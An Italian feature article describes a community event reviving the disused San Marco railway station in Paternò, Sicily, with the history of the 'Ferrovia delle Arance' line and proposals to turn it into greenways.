La stazione non dimenticata

La stazione di San Marco a Paternò era una delle più importanti della “Ferrovia delle Arance” che attraversava la provincia di Catania. Dopo anni di abbandono, la popolazione della Valle del Simeto ha deciso di ridarle vita, non solo per ricomporre un tassello significativo della memoria storica locale, ma soprattutto per realizzare, facendo perno sul vecchio scalo ferroviario, un sistema di mobilità dolce e di greenways in grado di valorizzare il patrimonio storico-culturale, paesaggistico ed enogastronomico del comprensorio.

 

       “Alla stazione c’erano tutti, dal commissario al sagrestano
       alla stazione c’erano tutti, con gli occhi rossi e il cappello in mano”
                      Bocca di Rosa – Fabrizio De André

Oggi anche noi siamo tutti qua, nella “nostra” stazione, non però per salutare Bocca di Rosa, come nella celebre canzone di De André, ma per festeggiare la recuperata disponibilità di uno dei luoghi emblematici della memoria e dell’identità collettiva nella Valle del Simeto, in Sicilia: lo scalo ferroviario di San Marco a Paternò, lungo la cosiddetta “Ferrovia delle Arance”.

È una bella giornata, che ripaga tutti i nostri sforzi. Perché non è stato facile rendere un minimo accogliente l’edificio della stazione e l’area circostante. C’è voluto tutto il nostro impegno.

Il primo traguardo è stato raggiunto grazie al lavoro d’intesa tra le tante associazioni del territorio e le amministrazioni locali, che hanno trovato un accordo con le Ferrovie dello Stato per la concessione in comodato gratuito della struttura.

Poi siamo intervenuti noi, decine di volontari accorsi da tutta la Valle, anche da Comuni distanti decine di chilometri, per pulire, sistemare, attrezzare questo luogo, perché questo luogo, per tutti, ha il sapore di casa. Ognuno ha voluto dare il suo contributo: chi ha lavorato sodo per rimuovere cumuli di rifiuti, ripristinare una sorta d’impianto elettrico, aggiustare i bagni; chi ha presidiato i locali anche di notte, chi ha tagliato l’erba, chi si è occupato della comunicazione, chi ha preparato le attività ricreative per allietare ulteriormente lo stare insieme.

E ora eccoci tutti qua, in una giornata ricca di iniziative e di emozioni, tra escursioni naturalistiche e culturali, mostre fotografiche, spettacoli teatrali e musicali, tanto buon cibo biologico locale, visite guidate alla Collina Storica e al Museo Multimediale di Paternò. Ma soprattutto con il piacere di condividere il primo passo per la rinascita di un luogo a tutti caro.

“Mi parsi un sogno!”, afferma Angelo, un anziano signore con il viso solcato di rughe. “Tornare su questi luoghi mi ha aiutato a ricordare volti e figure ormai nell’oblio, a far riemergere la memoria di storie ed episodi dimenticati, a rivivere con un po’ di nostalgia i tempi passati”. Ha appena ascoltato la testimonianza carica di emozione di Antonio, che da giovane ha lavorato per 30 anni alla stazione e ricorda com’era allora. E i racconti intensi di Teresa, che da bambina veniva a vedere caricare sul treno le arance Sanguinello prodotte dal padre, e di Maurizio, figlio di ferroviere e appassionato di tutto quello che con la ferrovia abbia a che fare. Storie personali che si intrecciano con quelle collettive, con le vicende di uno scalo, e di una linea ferroviaria, dalle alterne fortune, che ha comunque avuto un ruolo rilevante per lo sviluppo sociale ed economico del comprensorio.

 

 

La storia della stazione

       “Conosco invece l’epoca dei fatti, qual era il suo mestiere
       I primi anni del secolo, macchinista, ferroviere”
                      La locomotiva – Francesco Guccini

L’ex stazione delle Ferrovie dello Stato di San Marco a Paternò è infatti più di un semplice scalo ferroviario dismesso. Realizzata in prossimità del centro storico paternese e di altri luoghi d’interesse culturale e naturale, come le Salinelle, la Via dei Mulini, i resti del Ponte Romano e l’Oasi di Ponte Barca, la stazione è il simbolo del progresso economico che per decenni ha viaggiato sulle sue rotaie, favorendo gli scambi tra l’entroterra e i grandi centri commerciali della Sicilia. Era denominata “la ferrovia delle arance”, perché attraverso i suoi carri merci gli agrumi locali venivano portati direttamente al porto di Catania per essere imbarcati.

La linea ferroviaria, iniziata a costruire negli anni ’30 del Novecento, aveva lo scopo di creare un collegamento più agevole tra Catania e Palermo rispetto alla linea ottocentesca che ancora oggi passa tra Enna e Caltanissetta. La Seconda Guerra Mondiale e le difficoltà economiche del dopoguerra ne rallentarono i lavori di costruzione, che furono ripresi solamente intorno agli anni ’50, con il completamento della tratta da Motta S. Anastasia a Regalbuto, inaugurata il 4 febbraio 1952. Lungo i 53 chilometri del tracciato, che attraversava le valli del Simeto e del Salso costeggiando, nel tratto finale, il Lago di Pozzillo, si incontravano 9 stazioni (Ritornella, Agnelleria, Paternò-San Marco, Schettino, Mandarano-Centuripe, Carcaci, Leto, Sparacollo, Regalbuto), 26 caselli, 42 ponti, 22 sottopassi e 11 gallerie.

Lo sviluppo del traffico su ruota la condannò a un prematuro declino, accelerato da alcuni dissesti idrogeologici nel tratto limitrofo al Lago di Pozzillo: intorno alla metà degli anni ’70 (a vent’anni quindi dall’inaugurazione) il tracciato fu ridotto; nel 1987 ne venne decretata la chiusura, anche se la tratta fino a Schettino fu utilizzata in maniera saltuaria per il traffico merci. Negli anni ’90, la linea venne interamente rimodernata fino alla stazione di Paternò con la sostituzione dell’armamento ferroviario, binari e traversine, per renderla adeguata ai treni merci moderni, che però non ebbero mai l’occasione di percorrerla. Nel 2007, la chiusura definitiva.

“Oggi questa ferrovia dismessa – afferma Antonio Caruso, architetto paternese appassionato studioso della storia locale – in effetti non è altro che un ingombrante rifiuto che contribuisce al degrado del territorio che attraversa: lungo tutta la linea vi sono dei manufatti che andrebbero smaltiti in maniera opportuna, come ad esempio tutte quelle parti realizzate in cemento-amianto (il cosiddetto eternit) o le stesse traversine ferroviarie, che un tempo venivano trattate con creosoto, detto anche olio di catrame, un efficace conservante del legno (difatti le traversine si conservano molto a lungo senza marcire) ma anche un pericoloso agente cancerogeno, che viene assorbito attraverso la pelle con il contatto diretto, oppure attraverso le vie respiratorie, sotto forma di diossina, nel caso in cui il legname venga bruciato. Ed è per questo motivo che le traversine ferroviarie non vanno assolutamente riutilizzate per pavimentare i vialetti nei giardinetti o, peggio, come legna da ardere”.

 

 

Una proposta per il futuro

       “Il treno va, scomparirà
       sulle sue ruote rotonde
       dietro alle nuvole bionde”
                      Il treno va – Paolo Conte

“La questione, oggi – afferma Carmelo Caruso, vicepresidente del Presidio Partecipativo del “Patto di Fiume Simeto”, nuovo strumento di governo del territorio condiviso tra istituzioni e cittadini, promotore della giornata – è capire come è meglio procedere. Diverse sono state, su questo tema, le riflessioni emerse durante la ‘Coperd Summer School’, la scuola estiva, giunta ormai alla sua quinta edizione, organizzata nella Valle del Simeto dalle Università statunitensi di Boston e Memphis in collaborazione con le realtà locali, che fa di questo territorio un laboratorio internazionale di progettazione, rigenerazione urbana e rurale e sviluppo locale partecipati. Si potrebbe affiancare al recupero della ferrovia (per il trasporto di prodotti e turisti) una linea di mobilità dolce multifunzionale, oppure optare per il completo e corretto smantellamento della ferrovia dismessa, e contemporaneamente immaginare un utilizzo alternativo della linea e dei fabbricati che sorgono lungo la stessa”.

“Si potrebbe avviare ad esempio – riprende Antonio Caruso – una riconversione dei tracciati in Greenways (letteralmente ‘vie verdi’), ovvero percorsi per la mobilità eco-sostenibile, facilmente fruibili da pedoni e ciclisti, poiché per questioni tecniche le linee ferroviarie presentano una pendenza estremamente ridotta, che difficilmente supera il 10-12 per mille. Per ciò che concerne i fabbricati connessi alla ferrovia, ovvero stazioni, caselli e magazzini, potrebbero benissimo essere recuperati per molteplici scopi legati alla fruizione turistica del territorio, quali alberghi, ostelli, ristoranti, o per la promozione dei prodotti agricoli e artigianali locali (sull’esempio dei cosiddetti ‘mercati del contadino’)”.

Si tratta di un percorso di riuso fattibile: il recupero come Greenways di una parte del notevole patrimonio siciliano di ferrovie dismesse è stato infatti previsto sin dal 2004 con uno studio sviluppato nell’ambito del progetto europeo ReVerMed, che nel 2005 ha portato all’emanazione del “Piano della mobilità non motorizzata in Sicilia”. Nei 10 anni successivi all’emanazione del Piano, tuttavia, non sono state molte le realizzazioni avviate, come quella della greenway lungo la Valle dell’Anapo a Pantalica.

 

 

Un Patto per il cambiamento

       “E allora io quasi quasi prendo il treno e vengo, vengo da te
       Il treno dei desideri, nei miei pensieri all’incontrario va”
                      Azzurro – Adriano Celentano

Ora, però, si è pronti a ripartire. “La nostra idea è quella di rivitalizzare questa zona periferica del Comune di Paternò trasformandola in una cerniera per la conoscenza del territorio”, afferma Salvo Ferlito, a capo del progetto “SUDS – Stazioni unite del Simeto”, promosso nell’ambito del “Patto di Fiume Simeto”. E aggiunge: “Intendiamo valorizzare le bellezze di un luogo che deve tornare a essere un’attrazione per i turisti attraverso sistemi di mobilità dolce: un comprensorio da percorrere a piedi, in bicicletta o a cavallo; un’opportunità per l’economia della Valle del Simeto e per i dieci Comuni che aderiscono al Patto: Motta Sant’Anastasia, Paternò, Belpasso, Ragalna, Santa Maria di Licodia, Biancavilla, Adrano, Centuripe, Regalbuto e Troina”.

Le basi ci sono tutte: “La manifestazione odierna – commenta Carmelo Caruso – testimonia una gran voglia di recupero della memoria, ma dimostra anche che la popolazione ha voglia di partecipare a questo processo di sviluppo e di cambiamento, in particolare gli ex ferrovieri, per i quali la stazione ha rappresentato una parte fondamentale della propria vita”.

 

Poco distante, il signor Angelo sta terminando l’ennesimo suo racconto. Posa il bicchiere di vino sul tavolo, saluta i suoi vecchi e nuovi amici e impugna la zappa per andare a dare il suo contributo per seminare qualcosa nell’orto sociale, creato accanto alla stazione dall’associazione “Alzheimer Paternò”, una delle tante partecipanti. Un’iniziativa che è anche una metafora: piantare un seme, oggi, e innaffiarlo, insieme, con la memoria del passato, perché porti tanti frutti in futuro.

 

 

 

 

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aperta il 14/07/20160 partecipanti

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